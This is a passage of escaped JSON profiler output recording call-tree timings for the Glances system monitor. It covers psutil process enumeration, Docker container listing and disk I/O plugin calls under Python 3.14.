\"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.002040,\"attributes\": {\"c_WrapNumbers\": 0.0020398120032041334, \"l629\": 0.0020398120032041334},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002040,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"get_refresh\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000764\",\"time\": 0.001989,\"attributes\": {\"cDiskioPlugin\": 0.001988668998819776, \"l769\": 0.001988668998819776},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065996,\"attributes\": {\"l1295\": 0.06599583799834363},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.001998,\"attributes\": {\"cContainersPlugin\": 0.0019976059993496165, \"l252\": 0.0019976059993496165},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.001998,\"attributes\": {\"l256\": 0.0019976059993496165},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.001998,\"attributes\": {\"l248\": 0.0019976059993496165},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.001998,\"attributes\": {\"cDockerExtension\": 0.0019976059993496165, \"l260\": 0.0019976059993496165},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.001998,\"attributes\": {\"cContainerCollection\": 0.0019976059993496165, \"l1009\": 0.0019976059993496165},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.0019976059993496165, \"l212\": 0.0019976059993496165},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.0019976059993496165, \"l44\": 0.0019976059993496165},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.0019976059993496165, \"l246\": 0.0019976059993496165},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.0019976059993496165, \"l602\": 0.0019976059993496165},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.0019976059993496165, \"l589\": 0.0019976059993496165},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.0019976059993496165, \"l703\": 0.0019976059993496165},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001998,\"attributes\": {\"cUnixHTTPAdapter\": 0.0019976059993496165, \"l644\": 0.0019976059993496165},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001998,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0019976059993496165, \"l723\": 0.0019976059993496165},\"children\": [{\"identifier\": \"_encode_target\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/url.py\\u0000349\",\"time\": 0.001998,\"attributes\": {\"l362\": 0.0019976059993496165},\"children\": [{\"identifier\": \"_encode_invalid_chars\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/url.py\\u0000227\",\"time\": 0.001998,\"attributes\": {\"l254\": 0.0019976059993496165},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063998,\"attributes\": {\"cProcesscountPlugin\": 0.06399823199899402, \"l85\": 0.06399823199899402},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063998,\"attributes\": {\"cGlancesProcesses\": 0.06399823199899402, \"l617\": 0.05799841300176922, \"l621\": 0.002000143002078403, \"l644\": 0.0020003589961561374, \"l659\": 0.0019993169989902526},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057998,\"attributes\": {\"cGlancesProcesses\": 0.05799841300176922, \"l478\": 0.052000748000864405, \"l493\": 0.005997665000904817},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.052001,\"attributes\": {\"l1541\": 0.0025995530013460666, \"l1558\": 0.04940119499951834},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002600,\"attributes\": {\"l1485\": 0.0025995530013460666},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002600,\"attributes\": {\"l1526\": 0.0025995530013460666},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002600,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002600,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.049401,\"attributes\": {\"cProcess\": 0.04940119499951834, \"l579\": 0.03940524099016329, \"l572\": 0.009995954009355046},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.007402,\"attributes\": {\"cProcess\": 0.007401677998132072, \"l382\": 0.007401677998132072},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001407,\"attributes\": {\"cProcess\": 0.0014074959981371649, \"l1138\": 0.0014074959981371649},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001407,\"attributes\": {\"cProcess\": 0.0014074959981371649, \"l1593\": 0.0014074959981371649},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001407,\"attributes\": {\"cProcess\": 0.0014074959981371649, \"l1882\": 0.0014074959981371649},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001407,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994801001274027, \"l1127\": 0.001994801001274027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994801001274027, \"l1593\": 0.001994801001274027},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020044310003868304, \"l1138\": 0.0020044310003868304},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020044310003868304, \"l1593\": 0.0020044310003868304},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020044310003868304, \"l1878\": 0.0020044310003868304},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002004,\"attributes\": {\"l682\": 0.0020044310003868304},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.00199494999833405, \"l1127\": 0.00199494999833405},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.00199494999833405, \"l1593\": 0.00199494999833405},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.00199494999833405, \"l1835\": 0.00199494999833405},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.001998498999455478, \"l148\": 0.001998498999455478},\"children\": [{\"identifier\": \"next\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999791005800944, \"l382\": 0.001999791005800944},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999791005800944, \"l1138\": 0.001999791005800944},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999791005800944, \"l1593\": 0.001999791005800944},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999791005800944, \"l1879\": 0.001999791005800944},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000745000259485, \"l1079\": 0.002000745000259485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000745000259485, \"l1593\": 0.002000745000259485},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000745000259485, \"l1829\": 0.002000745000259485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000745000259485, \"l1593\": 0.002000745000259485},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017789938719943, \"l687\": 0.0020017789938719943},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017789938719943, \"l748\": 0.0020017789938719943},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017789938719943, \"l1593\": 0.0020017789938719943},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017789938719943, \"l1750\": 0.0020017789938719943},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002002,\"attributes\": {\"l692\": 0.0020017789938719943},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.001998006002395414, \"l141\": 0.001998006002395414},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998006002395414, \"l535\": 0.001998006002395414},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998006002395414, \"l1728\": 0.001998006002395414},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993969981442206, \"l680\": 0.0019993969981442206},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993969981442206, \"l1593\": 0.0019993969981442206},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993969981442206, \"l1740\": 0.0019993969981442206},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993969981442206, \"l1593\": 0.0019993969981442206},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993969981442206, \"l382\": 0.0019993969981442206},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993969981442206, \"l1709\": 0.0019993969981442206},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019989300053566694, \"l148\": 0.0019989300053566694},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989300053566694, \"l538\": 0.0019989300053566694},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001999,\"attributes\": {\"l402\": 0.0019989300053566694},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995619950350374, \"l680\": 0.0019995619950350374},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995619950350374, \"l1593\": 0.0019995619950350374},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995619950350374, \"l1740\": 0.0019995619950350374},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995619950350374, \"l1593\": 0.0019995619950350374},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995619950350374, \"l382\": 0.0019995619950350374},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995619950350374, \"l1683\": 0.0019995619950350374},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019995619950350374},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0019995619950350374},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.002000,\"attributes\": {\"l305\": 0.0020004540056106634},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.002000064996536821, \"l148\": 0.002000064996536821},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000064996536821, \"l543\": 0.002000064996536821},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000064996536821, \"l1735\": 0.002000064996536821},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.002000064996536821},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004999969387427, \"l687\": 0.0020004999969387427},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004999969387427, \"l748\": 0.0020004999969387427},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004999969387427, \"l1593\": 0.0020004999969387427},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004999969387427, \"l1764\": 0.0020004999969387427},\"children\": [{\"identifier\": \"str.endswith\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998100033262745, \"l1078\": 0.0019998100033262745},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999890002887696, \"l680\": 0.003999890002887696},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999890002887696, \"l1593\": 0.003999890002887696},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999890002887696, \"l1740\": 0.003999890002887696},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999890002887696, \"l1593\": 0.003999890002887696},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999890002887696, \"l382\": 0.003999890002887696},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999890002887696, \"l1683\": 0.003999890002887696},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019999750002170913},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005899932584725, \"l382\": 0.0020005899932584725},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005899932584725, \"l1138\": 0.0020005899932584725},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005899932584725, \"l1593\": 0.0020005899932584725},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005899932584725, \"l1878\": 0.0020005899932584725},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.0020005899932584725},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001767003093846, \"l836\": 0.002001767003093846},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001767003093846, \"l1593\": 0.002001767003093846},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001767003093846, \"l1799\": 0.002001767003093846},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019979499993496574, \"l1064\": 0.0019979499993496574},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001998,\"attributes\": {\"l1682\": 0.0019979499993496574},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.001998,\"attributes\": {\"l538\": 0.0019979499993496574},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002993001951836, \"l687\": 0.002002993001951836},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002993001951836, \"l748\": 0.002002993001951836},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002993001951836, \"l1593\": 0.002002993001951836},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002993001951836, \"l1750\": 0.002002993001951836},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002003,\"attributes\": {\"l692\": 0.002002993001951836},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": 